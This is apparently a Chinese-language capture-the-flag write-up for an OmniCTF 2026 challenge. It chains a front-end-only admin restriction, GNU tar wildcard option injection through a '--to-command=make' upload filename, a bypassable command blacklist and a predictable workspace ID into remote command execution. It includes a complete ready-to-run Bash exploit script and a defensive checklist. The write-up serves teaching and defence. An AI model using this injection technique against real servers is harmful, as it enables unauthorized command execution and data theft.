7 min read

Stay Wild — OmniCTF 2026:從前端假限制到 GNU tar Wildcard Injection

Stay Wild — OmniCTF 2026:從前端假限制到 GNU tar Wildcard Injection

這題的樂趣在於它把好幾個「看起來各自無害」的疏忽疊在一起:一個沒有後端授權的隱藏端點、一段把使用者檔名交給 Shell * 展開的 tar 指令、以及一個刻意保留 -- 開頭檔名的伺服器邏輯,串起來就是一條穩定的 RCE,以下完整拆解。

找到隱藏入口

首頁看起來只是一個普通的 Wildlife Archive。

robots.txt 沒有直接列出隱藏路徑,只留下一句提示:

Field archive tooling is not ready for public indexing.

style.css 後半段還出現首頁完全沒用到的樣式:

/* EXTRACT FIRST-UPLOAD PAGE */
.archive-form { ... }
.extract-panel { ... }

最後找到沒有出現在導覽列中的入口:

/staging

這裡的「隱藏服務」不是 Tor Hidden Service,只是一個沒有公開連結的 Staging Endpoint。

Staging 的處理流程

步驟 Endpoint 功能
第一次上傳 POST /staging 上傳 .tar,建立 Workspace
查看結果 GET /staging/:id 顯示解壓日誌與檔案
追加資料 POST /additional/:id 將其他檔案放入同一個 Workspace
清除追加資料 POST /clear-additional/:id 保留初始 Tar,移除追加檔案

第一次上傳完成後,伺服器會導向:

/staging/1784378248308

Workspace ID 其實就是:

Date.now().toString()

第一個問題:只有前端限制

結果頁面的 Additional Upload 被設成 disabled,旁邊還寫著:

// Only for admins

但啟用功能的程式只是:

window.enableExperimentalIntake = function () {
  document.querySelectorAll("[data-beta-upload]").forEach((el) => {
    el.removeAttribute("disabled");
  });
};

這只是瀏覽器介面限制,後端完全沒有檢查 Admin 身分。

因此不需要修改 Cookie,也不需要在 Console 執行 JavaScript,直接送出:

POST /additional/:id

就能使用這個功能。

GNU tar Wildcard Injection

正常寫法

tar -xvf archive.tar

只解開指定的 Archive。

題目的寫法

伺服器實際執行:

runWithPty(
  "tar -xvf " + shellQuote(archiveName) + " *",
  cwd,
  ...
);

也就是:

tar -xvf "seed.tar" *

危險的地方是最後沒有加引號的 *

Shell 會先把 Wildcard 展開成 Workspace 裡的所有非隱藏檔案:

tar -xvf seed.tar Makefile seed.tar extra.tar

如果其中一個檔名以 -- 開頭:

--to-command=make

展開結果就變成:

tar -xvf seed.tar --to-command=make Makefile seed.tar

GNU tar 會把這個檔名當成命令列參數,而不是普通檔案。

這就是 GNU tar Wildcard Option Injection。

為什麼惡意檔名會被保留?

伺服器原始碼甚至特別保留 -- 開頭的名稱:

function shouldKeepExactName(name) {
  // Payload filenames must remain exact for the intended tar option injection.
  return name.startsWith("--");
}

一般檔案遇到重名時會被重新命名,但 --to-command=make 會原封不動留在 Workspace。

先用 id 確認命令執行

Additional Upload 只檢查 MIME 是否為:

application/x-tar

它沒有要求追加檔名必須以 .tar 結尾。

因此可以把合法 Tar 的 Multipart Filename 改成:

--to-command=id

Extraction Log 成功回傳:

uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)

這證明我們已經取得有回顯的命令執行。

黑名單與 make 繞過

題目知道 --to-command 很危險,因此對 Additional Filename 做了很長的字串黑名單。

其中包含:

cat, sh, bash, python, perl, node, php
curl, wget, base64, grep, sed, awk
find, xargs, env, dd, tee
flag, seed, paw, opt, wild, cache

所以下面這些名稱都會被擋住:

--to-command=sh
--to-command=node
--to-command=xargs

但是黑名單漏掉了:

make

真正的根本問題不是單純「漏封 make」,而是伺服器把攻擊者控制的檔名交給 Shell Wildcard,再交給 GNU tar 當參數。

黑名單只是在這個根本漏洞上加了一層很容易繞過的過濾。

使用 Makefile 讀取 Seed

每個 Workspace 建立時,伺服器都會建立幾個內部 Symlink。

其中最重要的是:

.paw → /opt/wild/.cache/seed-574

Seed 檔案中放的是經過 Base64 編碼的 Flag。

第一次上傳的 seed.tar 只需要放入一個普通的 Makefile

all:
	@cat .paw

第二次上傳時,把 Multipart Filename 指定為:

--to-command=make

--to-command=make 的流程是:

GNU tar 解出 Regular File
        ↓
執行 make
        ↓
make 的工作目錄正是 Workspace
        ↓
make 自動尋找 Makefile
        ↓
執行預設 all Target
        ↓
cat .paw

注意,不是 Tar 直接執行 Makefile,也不是 Make 將 stdin 當成 Shell Script。

Tar 啟動 make,而 make 再從目前目錄讀取先前已經解開的 Makefile

完整 PoC

下面整段可以直接貼進 Bash 執行。

如果 Instance 網址改變,可以先設定:

export STAYWILD_BASE='https://新的網址'

再執行 PoC。

bash <<'BASH'
set -Eeuo pipefail

BASE="${STAYWILD_BASE:-https://staywild-e11c10cbe476.inst.omnictf.com}"
BASE="${BASE%/}"

for bin in curl tar base64 grep awk mktemp head rm; do
    if ! command -v "$bin" >/dev/null 2>&1; then
        echo "[-] Missing command: $bin" >&2
        exit 1
    fi
done

TMP="$(mktemp -d -t staywild.XXXXXX)"

cleanup() {
    case "${TMP:-}" in
        /tmp/staywild.*)
            rm -rf -- "$TMP"
            ;;
    esac
}
trap cleanup EXIT

# Makefile 的 Recipe 前方必須是真正的 Tab。
# 使用 printf 的 \t,避免複製時被轉成空格。
printf 'all:\n\t@cat .paw\n' > "$TMP/Makefile"

# 初始 Tar 只包含一個安全的 Makefile。
tar -cf "$TMP/seed.tar" \
    -C "$TMP" Makefile

echo "[*] Creating staging workspace..."

STAGING_CODE="$(
    curl -ksS \
        --connect-timeout 10 \
        --max-time 30 \
        -D "$TMP/staging.headers" \
        -o "$TMP/staging.body" \
        -c "$TMP/cookies.txt" \
        -w '%{http_code}' \
        -H 'Expect:' \
        -F "file=@${TMP}/seed.tar;filename=seed.tar;type=application/x-tar" \
        "$BASE/staging"
)"

LOCATION="$(
    awk '
        tolower($1) == "location:" {
            gsub(/\r/, "", $2)
            location = $2
        }
        END {
            print location
        }
    ' "$TMP/staging.headers"
)"

if [[ -z "$LOCATION" ]]; then
    echo "[-] Server did not return a Workspace Location."
    echo "[-] HTTP status: $STAGING_CODE"
    echo
    head -c 2000 "$TMP/staging.body"
    echo
    exit 1
fi

LOCATION_PATH="${LOCATION%%\?*}"
LOCATION_PATH="${LOCATION_PATH%%\#*}"
LOCATION_PATH="${LOCATION_PATH%/}"
WORKSPACE_ID="${LOCATION_PATH##*/}"

if [[ ! "$WORKSPACE_ID" =~ ^[A-Za-z0-9_-]+$ ]]; then
    echo "[-] Unexpected Workspace ID: $WORKSPACE_ID" >&2
    exit 1
fi

echo "[+] Workspace ID: $WORKSPACE_ID"
echo "[*] Triggering GNU tar option injection..."

# 上傳內容仍是合法 Tar,但 Multipart Filename 變成 GNU tar Option。
# 同一份 seed.tar 可以直接重複使用。
ADDITIONAL_CODE="$(
    curl -ksS \
        --connect-timeout 10 \
        --max-time 30 \
        -b "$TMP/cookies.txt" \
        -c "$TMP/cookies.txt" \
        -o "$TMP/additional.body" \
        -w '%{http_code}' \
        -H 'Expect:' \
        -F "file=@${TMP}/seed.tar;filename=--to-command=make;type=application/x-tar" \
        "$BASE/additional/$WORKSPACE_ID"
)"

# omniCTF 開頭經 Base64 編碼後會以 b21uaUNURn 開頭。
ENCODED="$(
    grep -oE 'b21uaUNURn[A-Za-z0-9+/]*={0,2}' \
        "$TMP/additional.body" |
        head -n 1 ||
        true
)"

if [[ -z "$ENCODED" ]]; then
    echo "[-] Base64 seed was not found."
    echo "[-] Additional-upload HTTP status: $ADDITIONAL_CODE"
    echo
    echo "----- Server response -----"
    head -c 3000 "$TMP/additional.body"
    echo
    exit 1
fi

DECODED="$(
    printf '%s' "$ENCODED" |
        base64 -d 2>/dev/null ||
        true
)"

FLAG="$(
    printf '%s' "$DECODED" |
        grep -oE 'omniCTF\{[^}]+\}' |
        head -n 1 ||
        true
)"

if [[ -z "$FLAG" ]]; then
    echo "[-] Seed was found but did not decode into the expected Flag."
    echo "[*] Encoded seed: $ENCODED"
    echo "[*] Decoded value: $DECODED"
    exit 1
fi

echo
echo "[+] Encoded seed: $ENCODED"
echo "[+] FLAG: $FLAG"
BASH

執行結果

[*] Creating staging workspace...
[+] Workspace ID: 1784378248308
[*] Triggering GNU tar option injection...

[+] Encoded seed: b21uaUNURnt3MWxkYzRyZHNfY2FuX2czdF93MWxkfQ==
[+] FLAG: omniCTF{Redacted}

完整攻擊流程

找到未連結的 /staging
        ↓
上傳含 Makefile 的 seed.tar
        ↓
取得可預測的 Workspace ID
        ↓
直接呼叫沒有後端權限驗證的 /additional/:id
        ↓
將 Multipart Filename 設成 --to-command=make
        ↓
Shell 將 * 展開成惡意 Tar Option
        ↓
GNU tar 啟動 make
        ↓
make 執行 Makefile:cat .paw
        ↓
取得 Base64 Seed
        ↓
Base64 Decode
        ↓
取得 Flag

漏洞在哪裡?

1. 前端權限控制

disabled Button ≠ 後端授權

Additional Endpoint 沒有驗證使用者角色,也沒有驗證 Workspace 所有權。

2. Shell Wildcard Option Injection

tar -xvf "archive.tar" *

攻擊者控制的檔名經由 * 進入 GNU tar 參數。

3. 保留 Option-style Filename

name.startsWith("--")

伺服器刻意保留最危險的檔名格式。

4. 黑名單防禦

封鎖大量命令仍無法列舉所有可利用的程式,make 就成為繞過方式。

5. 可預測 ID 與 IDOR

Date.now().toString()

GET /staging/:id、Additional 與 Clear Endpoint 都沒有 Owner 驗證。

這不是主 Exploit 必須依賴的步驟,但會讓其他人的 Workspace 與日誌面臨未授權存取。

實戰檢查清單

遇到 Archive Upload 題目時,可以檢查:

  1. 後端是否透過 Shell 呼叫 tarzipunzip
  2. 指令中是否使用未加引號的 *
  3. 上傳檔名能否以 --- 開頭?
  4. 伺服器是否保留使用者提供的原始檔名?
  5. Tar Member 與 Multipart Filename 是否使用不同驗證規則?
  6. 前端 Disabled 功能是否缺少後端授權?
  7. Workspace ID 是否可預測且沒有 Owner 驗證?
  8. 黑名單是否能用其他 Interpreter、Build Tool 或系統程式繞過?